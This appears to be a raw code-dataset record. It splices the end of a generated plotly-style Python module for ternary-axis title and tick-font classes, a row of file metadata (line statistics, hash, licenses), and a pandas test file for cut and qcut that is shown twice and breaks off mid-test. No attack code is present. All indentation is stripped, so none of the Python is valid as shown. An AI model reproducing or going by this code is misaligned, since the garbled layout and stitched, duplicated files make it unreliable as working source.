# Import validators
# -----------------
from plotly_study.validators.layout.ternary.aaxis import tickfont as v_tickfont
# Initialize validators
# ---------------------
self._validators["color"] = v_tickfont.ColorValidator()
self._validators["family"] = v_tickfont.FamilyValidator()
self._validators["size"] = v_tickfont.SizeValidator()
# Populate data dict with properties
# ----------------------------------
_v = arg.pop("color", None)
self["color"] = color if color is not None else _v
_v = arg.pop("family", None)
self["family"] = family if family is not None else _v
_v = arg.pop("size", None)
self["size"] = size if size is not None else _v
# Process unknown kwargs
# ----------------------
self._process_kwargs(**dict(arg, **kwargs))
# Reset skip_invalid
# ------------------
self._skip_invalid = False
__all__ = ["Tickfont", "Tickformatstop", "Tickformatstop", "Title", "title"]
from plotly_study.graph_objs.layout.ternary.aaxis import title
| 34.738372 | 90 | 0.567155 | from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Title(_BaseLayoutHierarchyType):
@property
def font(self):
return self["font"]
@font.setter
def font(self, val):
self["font"] = val
@property
def text(self):
return self["text"]
@text.setter
def text(self, val):
self["text"] = val
@property
def _parent_path_str(self):
return "layout.ternary.aaxis"
@property
def _prop_descriptions(self):
return """\
font
Sets this axis' title font. Note that the title's font
used to be customized by the now deprecated `titlefont`
attribute.
text
Sets the title of this axis. Note that before the
existence of `title.text`, the title's contents used to
be defined as the `title` attribute itself. This
behavior has been deprecated.
"""
def __init__(self, arg=None, font=None, text=None, **kwargs):
super(Title, self).__init__("title")
# Validate arg
# ------------
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly_study.graph_objs.layout.ternary.aaxis.Title
constructor must be a dict or
an instance of plotly_study.graph_objs.layout.ternary.aaxis.Title"""
)
# Handle skip_invalid
# -------------------
self._skip_invalid = kwargs.pop("skip_invalid", False)
# Import validators
# -----------------
from plotly_study.validators.layout.ternary.aaxis import title as v_title
# Initialize validators
# ---------------------
self._validators["font"] = v_title.FontValidator()
self._validators["text"] = v_title.TextValidator()
# Populate data dict with properties
# ----------------------------------
_v = arg.pop("font", None)
self["font"] = font if font is not None else _v
_v = arg.pop("text", None)
self["text"] = text if text is not None else _v
# Process unknown kwargs
# ----------------------
self._process_kwargs(**dict(arg, **kwargs))
# Reset skip_invalid
# ------------------
self._skip_invalid = False
from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Tickformatstop(_BaseLayoutHierarchyType):
# dtickrange
# ----------
@property
def dtickrange(self):
return self["dtickrange"]
@dtickrange.setter
def dtickrange(self, val):
self["dtickrange"] = val
# enabled
# -------
@property
def enabled(self):
return self["enabled"]
@enabled.setter
def enabled(self, val):
self["enabled"] = val
# name
# ----
@property
def name(self):
return self["name"]
@name.setter
def name(self, val):
self["name"] = val
# templateitemname
# ----------------
@property
def templateitemname(self):
return self["templateitemname"]
@templateitemname.setter
def templateitemname(self, val):
self["templateitemname"] = val
# value
# -----
@property
def value(self):
return self["value"]
@value.setter
def value(self, val):
self["value"] = val
# property parent name
# --------------------
@property
def _parent_path_str(self):
return "layout.ternary.aaxis"
# Self properties description
# ---------------------------
@property
def _prop_descriptions(self):
return """\
dtickrange
range [*min*, *max*], where "min", "max" - dtick values
which describe some zoom level, it is possible to omit
"min" or "max" value by passing "null"
enabled
Determines whether or not this stop is used. If
`false`, this stop is ignored even within its
`dtickrange`.
name
When used in a template, named items are created in the
output figure in addition to any items the figure
already has in this array. You can modify these items
in the output figure by making your own item with
`templateitemname` matching this `name` alongside your
modifications (including `visible: false` or `enabled:
false` to hide it). Has no effect outside of a
template.
templateitemname
Used to refer to a named item in this array in the
template. Named items from the template will be created
even without a matching item in the input figure, but
you can modify one by making an item with
`templateitemname` matching its `name`, alongside your
modifications (including `visible: false` or `enabled:
false` to hide it). If there is no template or no
matching item, this item will be hidden unless you
explicitly show it with `visible: true`.
value
string - dtickformat for described zoom level, the same
as "tickformat"
"""
def __init__(
self,
arg=None,
dtickrange=None,
enabled=None,
name=None,
templateitemname=None,
value=None,
**kwargs
):
super(Tickformatstop, self).__init__("tickformatstops")
# Validate arg
# ------------
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly_study.graph_objs.layout.ternary.aaxis.Tickformatstop
constructor must be a dict or
an instance of plotly_study.graph_objs.layout.ternary.aaxis.Tickformatstop"""
)
# Handle skip_invalid
# -------------------
self._skip_invalid = kwargs.pop("skip_invalid", False)
# Import validators
# -----------------
from plotly_study.validators.layout.ternary.aaxis import (
tickformatstop as v_tickformatstop,
)
# Initialize validators
# ---------------------
self._validators["dtickrange"] = v_tickformatstop.DtickrangeValidator()
self._validators["enabled"] = v_tickformatstop.EnabledValidator()
self._validators["name"] = v_tickformatstop.NameValidator()
self._validators[
"templateitemname"
] = v_tickformatstop.TemplateitemnameValidator()
self._validators["value"] = v_tickformatstop.ValueValidator()
# Populate data dict with properties
# ----------------------------------
_v = arg.pop("dtickrange", None)
self["dtickrange"] = dtickrange if dtickrange is not None else _v
_v = arg.pop("enabled", None)
self["enabled"] = enabled if enabled is not None else _v
_v = arg.pop("name", None)
self["name"] = name if name is not None else _v
_v = arg.pop("templateitemname", None)
self["templateitemname"] = (
templateitemname if templateitemname is not None else _v
)
_v = arg.pop("value", None)
self["value"] = value if value is not None else _v
# Process unknown kwargs
# ----------------------
self._process_kwargs(**dict(arg, **kwargs))
# Reset skip_invalid
# ------------------
self._skip_invalid = False
from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Tickfont(_BaseLayoutHierarchyType):
# color
# -----
@property
def color(self):
return self["color"]
@color.setter
def color(self, val):
self["color"] = val
# family
# ------
@property
def family(self):
return self["family"]
@family.setter
def family(self, val):
self["family"] = val
# size
# ----
@property
def size(self):
return self["size"]
@size.setter
def size(self, val):
self["size"] = val
# property parent name
# --------------------
@property
def _parent_path_str(self):
return "layout.ternary.aaxis"
# Self properties description
# ---------------------------
@property
def _prop_descriptions(self):
return """\
color
family
HTML font family - the typeface that will be applied by
the web browser. The web browser will only be able to
apply a font if it is available on the system which it
operates. Provide multiple font families, separated by
commas, to indicate the preference in which to apply
fonts if they aren't available on the system. The
plotly service (at https://plot.ly or on-premise)
generates images on a server, where only a select
number of fonts are installed and supported. These
include "Arial", "Balto", "Courier New", "Droid Sans",,
"Droid Serif", "Droid Sans Mono", "Gravitas One", "Old
Standard TT", "Open Sans", "Overpass", "PT Sans
Narrow", "Raleway", "Times New Roman".
size
"""
def __init__(self, arg=None, color=None, family=None, size=None, **kwargs):
super(Tickfont, self).__init__("tickfont")
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly_study.graph_objs.layout.ternary.aaxis.Tickfont
constructor must be a dict or
an instance of plotly_study.graph_objs.layout.ternary.aaxis.Tickfont"""
)
self._skip_invalid = kwargs.pop("skip_invalid", False)
from plotly_study.validators.layout.ternary.aaxis import tickfont as v_tickfont
self._validators["color"] = v_tickfont.ColorValidator()
self._validators["family"] = v_tickfont.FamilyValidator()
self._validators["size"] = v_tickfont.SizeValidator()
_v = arg.pop("color", None)
self["color"] = color if color is not None else _v
_v = arg.pop("family", None)
self["family"] = family if family is not None else _v
_v = arg.pop("size", None)
self["size"] = size if size is not None else _v
self._process_kwargs(**dict(arg, **kwargs))
self._skip_invalid = False
__all__ = ["Tickfont", "Tickformatstop", "Tickformatstop", "Title", "title"]
from plotly_study.graph_objs.layout.ternary.aaxis import title
| true | true |
f7262a2f0da63f591723f9cdf91c2bae40d81f7d | 19,587 | py | Python | pandas/tests/reshape/test_tile.py | stevenvandenberghe/pandas | 8cbee356da1161c56c64f6f89cb5548bcadc3e44 | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | pandas/tests/reshape/test_tile.py | stevenvandenberghe/pandas | 8cbee356da1161c56c64f6f89cb5548bcadc3e44 | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | pandas/tests/reshape/test_tile.py | stevenvandenberghe/pandas | 8cbee356da1161c56c64f6f89cb5548bcadc3e44 | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 2 | 2019-03-08T19:59:05.000Z | 2020-09-27T03:18:37.000Z | import os
import pytest
import numpy as np
from pandas.compat import zip
from pandas import (Series, isna, to_datetime, DatetimeIndex,
Timestamp, Interval, IntervalIndex, Categorical,
cut, qcut, date_range)
import pandas.util.testing as tm
from pandas.api.types import CategoricalDtype as CDT
from pandas.core.algorithms import quantile
import pandas.core.reshape.tile as tmod
class TestCut(object):
def test_simple(self):
data = np.ones(5, dtype='int64')
result = cut(data, 4, labels=False)
expected = np.array([1, 1, 1, 1, 1])
tm.assert_numpy_array_equal(result, expected,
check_dtype=False)
def test_bins(self):
data = np.array([.2, 1.4, 2.5, 6.2, 9.7, 2.1])
result, bins = cut(data, 3, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3))
intervals = intervals.take([0, 0, 0, 1, 2, 0])
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.1905, 3.36666667,
6.53333333, 9.7]))
def test_right(self):
data = np.array([.2, 1.4, 2.5, 6.2, 9.7, 2.1, 2.575])
result, bins = cut(data, 4, right=True, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3))
expected = Categorical(intervals, ordered=True)
expected = expected.take([0, 0, 0, 2, 3, 0, 0])
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.1905, 2.575, 4.95,
7.325, 9.7]))
def test_noright(self):
data = np.array([.2, 1.4, 2.5, 6.2, 9.7, 2.1, 2.575])
result, bins = cut(data, 4, right=False, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3), closed='left')
intervals = intervals.take([0, 0, 0, 2, 3, 0, 1])
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.2, 2.575, 4.95,
7.325, 9.7095]))
def test_arraylike(self):
data = [.2, 1.4, 2.5, 6.2, 9.7, 2.1]
result, bins = cut(data, 3, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3))
intervals = intervals.take([0, 0, 0, 1, 2, 0])
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.1905, 3.36666667,
6.53333333, 9.7]))
def test_bins_from_intervalindex(self):
c = cut(range(5), 3)
expected = c
result = cut(range(5), bins=expected.categories)
tm.assert_categorical_equal(result, expected)
expected = Categorical.from_codes(np.append(c.codes, -1),
categories=c.categories,
ordered=True)
result = cut(range(6), bins=expected.categories)
tm.assert_categorical_equal(result, expected)
# doc example
# make sure we preserve the bins
ages = np.array([10, 15, 13, 12, 23, 25, 28, 59, 60])
c = cut(ages, bins=[0, 18, 35, 70])
expected = IntervalIndex.from_tuples([(0, 18), (18, 35), (35, 70)])
tm.assert_index_equal(c.categories, expected)
result = cut([25, 20, 50], bins=c.categories)
tm.assert_index_equal(result.categories, expected)
tm.assert_numpy_array_equal(result.codes,
np.array([1, 1, 2], dtype='int8'))
def test_bins_not_monotonic(self):
data = [.2, 1.4, 2.5, 6.2, 9.7, 2.1]
pytest.raises(ValueError, cut, data, [0.1, 1.5, 1, 10])
def test_wrong_num_labels(self):
data = [.2, 1.4, 2.5, 6.2, 9.7, 2.1]
pytest.raises(ValueError, cut, data, [0, 1, 10],
labels=['foo', 'bar', 'baz'])
def test_cut_corner(self):
# h3h
pytest.raises(ValueError, cut, [], 2)
pytest.raises(ValueError, cut, [1, 2, 3], 0.5)
def test_cut_out_of_range_more(self):
# #1511
s = Series([0, -1, 0, 1, -3], name='x')
ind = cut(s, [0, 1], labels=False)
exp = Series([np.nan, np.nan, np.nan, 0, np.nan], name='x')
tm.assert_series_equal(ind, exp)
def test_labels(self):
arr = np.tile(np.arange(0, 1.01, 0.1), 4)
result, bins = cut(arr, 4, retbins=True)
ex_levels = IntervalIndex.from_breaks([-1e-3, 0.25, 0.5, 0.75, 1])
tm.assert_index_equal(result.categories, ex_levels)
result, bins = cut(arr, 4, retbins=True, right=False)
ex_levels = IntervalIndex.from_breaks([0, 0.25, 0.5, 0.75, 1 + 1e-3],
closed='left')
tm.assert_index_equal(result.categories, ex_levels)
def test_cut_pass_series_name_to_factor(self):
s = Series(np.random.randn(100), name='foo')
factor = cut(s, 4)
assert factor.name == 'foo'
def test_label_precision(self):
arr = np.arange(0, 0.73, 0.01)
result = cut(arr, 4, precision=2)
ex_levels = IntervalIndex.from_breaks([-0.00072, 0.18, 0.36,
0.54, 0.72])
tm.assert_index_equal(result.categories, ex_levels)
def test_na_handling(self):
arr = np.arange(0, 0.75, 0.01)
arr[::3] = np.nan
result = cut(arr, 4)
result_arr = np.asarray(result)
ex_arr = np.where(isna(arr), np.nan, result_arr)
tm.assert_almost_equal(result_arr, ex_arr)
result = cut(arr, 4, labels=False)
ex_result = np.where(isna(arr), np.nan, result)
tm.assert_almost_equal(result, ex_result)
def test_inf_handling(self):
data = np.arange(6)
data_ser = Series(data, dtype='int64')
bins = [-np.inf, 2, 4, np.inf]
result = cut(data, bins)
result_ser = cut(data_ser, bins)
ex_uniques = IntervalIndex.from_breaks(bins)
tm.assert_index_equal(result.categories, ex_uniques)
assert result[5] == Interval(4, np.inf)
assert result[0] == Interval(-np.inf, 2)
assert result_ser[5] == Interval(4, np.inf)
assert result_ser[0] == Interval(-np.inf, 2)
def test_qcut(self):
arr = np.random.randn(1000)
# We store the bins as Index that have been rounded
# to comparisons are a bit tricky.
labels, bins = qcut(arr, 4, retbins=True)
ex_bins = quantile(arr, [0, .25, .5, .75, 1.])
result = labels.categories.left.values
assert np.allclose(result, ex_bins[:-1], atol=1e-2)
result = labels.categories.right.values
assert np.allclose(result, ex_bins[1:], atol=1e-2)
ex_levels = cut(arr, ex_bins, include_lowest=True)
tm.assert_categorical_equal(labels, ex_levels)
def test_qcut_bounds(self):
arr = np.random.randn(1000)
factor = qcut(arr, 10, labels=False)
assert len(np.unique(factor)) == 10
def test_qcut_specify_quantiles(self):
arr = np.random.randn(100)
factor = qcut(arr, [0, .25, .5, .75, 1.])
expected = qcut(arr, 4)
tm.assert_categorical_equal(factor, expected)
def test_qcut_all_bins_same(self):
tm.assert_raises_regex(ValueError, "edges.*unique", qcut,
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], 3)
def test_cut_out_of_bounds(self):
arr = np.random.randn(100)
result = cut(arr, [-1, 0, 1])
mask = isna(result)
ex_mask = (arr < -1) | (arr > 1)
tm.assert_numpy_array_equal(mask, ex_mask)
def test_cut_pass_labels(self):
arr = [50, 5, 10, 15, 20, 30, 70]
bins = [0, 25, 50, 100]
labels = ['Small', 'Medium', 'Large']
result = cut(arr, bins, labels=labels)
exp = Categorical(['Medium'] + 4 * ['Small'] + ['Medium', 'Large'],
categories=labels,
ordered=True)
tm.assert_categorical_equal(result, exp)
result = cut(arr, bins, labels=Categorical.from_codes([0, 1, 2],
labels))
exp = Categorical.from_codes([1] + 4 * [0] + [1, 2], labels)
tm.assert_categorical_equal(result, exp)
# issue 16459
labels = ['Good', 'Medium', 'Bad']
result = cut(arr, 3, labels=labels)
exp = cut(arr, 3, labels=Categorical(labels, categories=labels,
ordered=True))
tm.assert_categorical_equal(result, exp)
def test_qcut_include_lowest(self):
values = np.arange(10)
ii = qcut(values, 4)
ex_levels = IntervalIndex(
[Interval(-0.001, 2.25),
Interval(2.25, 4.5),
Interval(4.5, 6.75),
Interval(6.75, 9)])
tm.assert_index_equal(ii.categories, ex_levels)
def test_qcut_nas(self):
arr = np.random.randn(100)
arr[:20] = np.nan
result = qcut(arr, 4)
assert isna(result[:20]).all()
def test_qcut_index(self):
result = qcut([0, 2], 2)
intervals = [Interval(-0.001, 1), Interval(1, 2)]
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
def test_round_frac(self):
# it works
result = cut(np.arange(11.), 2)
result = cut(np.arange(11.) / 1e10, 2)
# #1979, negative numbers
result = tmod._round_frac(-117.9998, precision=3)
assert result == -118
result = tmod._round_frac(117.9998, precision=3)
assert result == 118
result = tmod._round_frac(117.9998, precision=2)
assert result == 118
result = tmod._round_frac(0.000123456, precision=2)
assert result == 0.00012
def test_qcut_binning_issues(self):
# #1978, 1979
path = os.path.join(tm.get_data_path(), 'cut_data.csv')
arr = np.loadtxt(path)
result = qcut(arr, 20)
starts = []
ends = []
for lev in np.unique(result):
s = lev.left
e = lev.right
assert s != e
starts.append(float(s))
ends.append(float(e))
for (sp, sn), (ep, en) in zip(zip(starts[:-1], starts[1:]),
zip(ends[:-1], ends[1:])):
assert sp < sn
assert ep < en
assert ep <= sn
def test_cut_return_intervals(self):
s = Series([0, 1, 2, 3, 4, 5, 6, 7, 8])
res = cut(s, 3)
exp_bins = np.linspace(0, 8, num=4).round(3)
exp_bins[0] -= 0.008
exp = Series(IntervalIndex.from_breaks(exp_bins, closed='right').take(
[0, 0, 0, 1, 1, 1, 2, 2, 2])).astype(CDT(ordered=True))
tm.assert_series_equal(res, exp)
def test_qcut_return_intervals(self):
s = Series([0, 1, 2, 3, 4, 5, 6, 7, 8])
res = qcut(s, [0, 0.333, 0.666, 1])
exp_levels = np.array([Interval(-0.001, 2.664),
Interval(2.664, 5.328), Interval(5.328, 8)])
exp = Series(exp_levels.take([0, 0, 0, 1, 1, 1, 2, 2, 2])).astype(
CDT(ordered=True))
tm.assert_series_equal(res, exp)
def test_series_retbins(self):
# GH 8589
s = Series(np.arange(4))
result, bins = cut(s, 2, retbins=True)
expected = Series(IntervalIndex.from_breaks(
[-0.003, 1.5, 3], closed='right').repeat(2)).astype(
CDT(ordered=True))
tm.assert_series_equal(result, expected)
result, bins = qcut(s, 2, retbins=True)
expected = Series(IntervalIndex.from_breaks(
[-0.001, 1.5, 3], closed='right').repeat(2)).astype(
CDT(ordered=True))
tm.assert_series_equal(result, expected)
def test_qcut_duplicates_bin(self):
# GH 7751
values = [0, 0, 0, 0, 1, 2, 3]
expected = IntervalIndex([Interval(-0.001, 1), Interval(1, 3)])
result = qcut(values, 3, duplicates='drop')
tm.assert_index_equal(result.categories, expected)
pytest.raises(ValueError, qcut, values, 3)
pytest.raises(ValueError, qcut, values, 3, duplicates='raise')
# invalid
pytest.raises(ValueError, qcut, values, 3, duplicates='foo')
def test_single_quantile(self):
# issue 15431
expected = Series([0, 0])
s = Series([9., 9.])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(8.999, 9.0),
Interval(8.999, 9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([-9., -9.])
expected = Series([0, 0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-9.001, -9.0),
Interval(-9.001, -9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([0., 0.])
expected = Series([0, 0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-0.001, 0.0),
Interval(-0.001, 0.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([9])
expected = Series([0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(8.999, 9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([-9])
expected = Series([0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-9.001, -9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([0])
expected = Series([0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-0.001, 0.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
def test_single_bin(self):
# issue 14652
expected = Series([0, 0])
s = Series([9., 9.])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
s = Series([-9., -9.])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
expected = Series([0])
s = Series([9])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
s = Series([-9])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
# issue 15428
expected = Series([0, 0])
s = Series([0., 0.])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
expected = Series([0])
s = Series([0])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
def test_datetime_cut(self):
# GH 14714
# testing for time data to be present as series
data = to_datetime(Series(['2013-01-01', '2013-01-02', '2013-01-03']))
result, bins = cut(data, 3, retbins=True)
expected = (
Series(IntervalIndex([
Interval(Timestamp('2012-12-31 23:57:07.200000'),
Timestamp('2013-01-01 16:00:00')),
Interval(Timestamp('2013-01-01 16:00:00'),
Timestamp('2013-01-02 08:00:00')),
Interval(Timestamp('2013-01-02 08:00:00'),
Timestamp('2013-01-03 00:00:00'))]))
.astype(CDT(ordered=True)))
tm.assert_series_equal(result, expected)
# testing for time data to be present as list
data = [np.datetime64('2013-01-01'), np.datetime64('2013-01-02'),
np.datetime64('2013-01-03')]
result, bins = cut(data, 3, retbins=True)
tm.assert_series_equal(Series(result), expected)
# testing for time data to be present as ndarray
data = np.array([np.datetime64('2013-01-01'),
np.datetime64('2013-01-02'),
np.datetime64('2013-01-03')])
result, bins = cut(data, 3, retbins=True)
tm.assert_series_equal(Series(result), expected)
# testing for time data to be present as datetime index
data = DatetimeIndex(['2013-01-01', '2013-01-02', '2013-01-03'])
result, bins = cut(data, 3, retbins=True)
tm.assert_series_equal(Series(result), expected)
def test_datetime_bin(self):
data = [np.datetime64('2012-12-13'), np.datetime64('2012-12-15')]
bin_data = ['2012-12-12', '2012-12-14', '2012-12-16']
expected = (
Series(IntervalIndex([
Interval(Timestamp(bin_data[0]), Timestamp(bin_data[1])),
Interval(Timestamp(bin_data[1]), Timestamp(bin_data[2]))]))
.astype(CDT(ordered=True)))
for conv in [Timestamp, Timestamp, np.datetime64]:
bins = [conv(v) for v in bin_data]
result = cut(data, bins=bins)
tm.assert_series_equal(Series(result), expected)
bin_pydatetime = [Timestamp(v).to_pydatetime() for v in bin_data]
result = cut(data, bins=bin_pydatetime)
tm.assert_series_equal(Series(result), expected)
bins = to_datetime(bin_data)
result = cut(data, bins=bin_pydatetime)
tm.assert_series_equal(Series(result), expected)
def test_datetime_nan(self):
def f():
cut(date_range('20130101', periods=3), bins=[0, 2, 4])
pytest.raises(ValueError, f)
result = cut(date_range('20130102', periods=5),
bins=date_range('20130101', periods=2))
mask = result.categories.isna()
tm.assert_numpy_array_equal(mask, np.array([False]))
mask = result.isna()
tm.assert_numpy_array_equal(
mask, np.array([False, True, True, True, True]))
@pytest.mark.parametrize(
"array_1_writeable, array_2_writeable",
[(True, True), (True, False), (False, False)])
def test_cut_read_only(self, array_1_writeable, array_2_writeable):
# issue 18773
array_1 = np.arange(0, 100, 10)
array_1.flags.writeable = array_1_writeable
array_2 = np.arange(0, 100, 10)
array_2.flags.writeable = array_2_writeable
hundred_elements = np.arange(100)
tm.assert_categorical_equal(cut(hundred_elements, array_1),
cut(hundred_elements, array_2))
| 37.026465 | 78 | 0.56512 | import os
import pytest
import numpy as np
from pandas.compat import zip
from pandas import (Series, isna, to_datetime, DatetimeIndex,
Timestamp, Interval, IntervalIndex, Categorical,
cut, qcut, date_range)
import pandas.util.testing as tm
from pandas.api.types import CategoricalDtype as CDT
from pandas.core.algorithms import quantile
import pandas.core.reshape.tile as tmod
class TestCut(object):
def test_simple(self):
data = np.ones(5, dtype='int64')
result = cut(data, 4, labels=False)
expected = np.array([1, 1, 1, 1, 1])
tm.assert_numpy_array_equal(result, expected,
check_dtype=False)
def test_bins(self):
data = np.array([.2, 1.4, 2.5, 6.2, 9.7, 2.1])
result, bins = cut(data, 3, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3))
intervals = intervals.take([0, 0, 0, 1, 2, 0])
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.1905, 3.36666667,
6.53333333, 9.7]))
def test_right(self):
data = np.array([.2, 1.4, 2.5, 6.2, 9.7, 2.1, 2.575])
result, bins = cut(data, 4, right=True, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3))
expected = Categorical(intervals, ordered=True)
expected = expected.take([0, 0, 0, 2, 3, 0, 0])
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.1905, 2.575, 4.95,
7.325, 9.7]))
def test_noright(self):
data = np.array([.2, 1.4, 2.5, 6.2, 9.7, 2.1, 2.575])
result, bins = cut(data, 4, right=False, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3), closed='left')
intervals = intervals.take([0, 0, 0, 2, 3, 0, 1])
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.2, 2.575, 4.95,
7.325, 9.7095]))
def test_arraylike(self):
data = [.2, 1.4, 2.5, 6.2, 9.7, 2.1]
result, bins = cut(data, 3, retbins=True)
intervals = IntervalIndex.from_breaks(bins.round(3))
intervals = intervals.take([0, 0, 0, 1, 2, 0])
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
tm.assert_almost_equal(bins, np.array([0.1905, 3.36666667,
6.53333333, 9.7]))
def test_bins_from_intervalindex(self):
c = cut(range(5), 3)
expected = c
result = cut(range(5), bins=expected.categories)
tm.assert_categorical_equal(result, expected)
expected = Categorical.from_codes(np.append(c.codes, -1),
categories=c.categories,
ordered=True)
result = cut(range(6), bins=expected.categories)
tm.assert_categorical_equal(result, expected)
ages = np.array([10, 15, 13, 12, 23, 25, 28, 59, 60])
c = cut(ages, bins=[0, 18, 35, 70])
expected = IntervalIndex.from_tuples([(0, 18), (18, 35), (35, 70)])
tm.assert_index_equal(c.categories, expected)
result = cut([25, 20, 50], bins=c.categories)
tm.assert_index_equal(result.categories, expected)
tm.assert_numpy_array_equal(result.codes,
np.array([1, 1, 2], dtype='int8'))
def test_bins_not_monotonic(self):
data = [.2, 1.4, 2.5, 6.2, 9.7, 2.1]
pytest.raises(ValueError, cut, data, [0.1, 1.5, 1, 10])
def test_wrong_num_labels(self):
data = [.2, 1.4, 2.5, 6.2, 9.7, 2.1]
pytest.raises(ValueError, cut, data, [0, 1, 10],
labels=['foo', 'bar', 'baz'])
def test_cut_corner(self):
pytest.raises(ValueError, cut, [], 2)
pytest.raises(ValueError, cut, [1, 2, 3], 0.5)
def test_cut_out_of_range_more(self):
s = Series([0, -1, 0, 1, -3], name='x')
ind = cut(s, [0, 1], labels=False)
exp = Series([np.nan, np.nan, np.nan, 0, np.nan], name='x')
tm.assert_series_equal(ind, exp)
def test_labels(self):
arr = np.tile(np.arange(0, 1.01, 0.1), 4)
result, bins = cut(arr, 4, retbins=True)
ex_levels = IntervalIndex.from_breaks([-1e-3, 0.25, 0.5, 0.75, 1])
tm.assert_index_equal(result.categories, ex_levels)
result, bins = cut(arr, 4, retbins=True, right=False)
ex_levels = IntervalIndex.from_breaks([0, 0.25, 0.5, 0.75, 1 + 1e-3],
closed='left')
tm.assert_index_equal(result.categories, ex_levels)
def test_cut_pass_series_name_to_factor(self):
s = Series(np.random.randn(100), name='foo')
factor = cut(s, 4)
assert factor.name == 'foo'
def test_label_precision(self):
arr = np.arange(0, 0.73, 0.01)
result = cut(arr, 4, precision=2)
ex_levels = IntervalIndex.from_breaks([-0.00072, 0.18, 0.36,
0.54, 0.72])
tm.assert_index_equal(result.categories, ex_levels)
def test_na_handling(self):
arr = np.arange(0, 0.75, 0.01)
arr[::3] = np.nan
result = cut(arr, 4)
result_arr = np.asarray(result)
ex_arr = np.where(isna(arr), np.nan, result_arr)
tm.assert_almost_equal(result_arr, ex_arr)
result = cut(arr, 4, labels=False)
ex_result = np.where(isna(arr), np.nan, result)
tm.assert_almost_equal(result, ex_result)
def test_inf_handling(self):
data = np.arange(6)
data_ser = Series(data, dtype='int64')
bins = [-np.inf, 2, 4, np.inf]
result = cut(data, bins)
result_ser = cut(data_ser, bins)
ex_uniques = IntervalIndex.from_breaks(bins)
tm.assert_index_equal(result.categories, ex_uniques)
assert result[5] == Interval(4, np.inf)
assert result[0] == Interval(-np.inf, 2)
assert result_ser[5] == Interval(4, np.inf)
assert result_ser[0] == Interval(-np.inf, 2)
def test_qcut(self):
arr = np.random.randn(1000)
labels, bins = qcut(arr, 4, retbins=True)
ex_bins = quantile(arr, [0, .25, .5, .75, 1.])
result = labels.categories.left.values
assert np.allclose(result, ex_bins[:-1], atol=1e-2)
result = labels.categories.right.values
assert np.allclose(result, ex_bins[1:], atol=1e-2)
ex_levels = cut(arr, ex_bins, include_lowest=True)
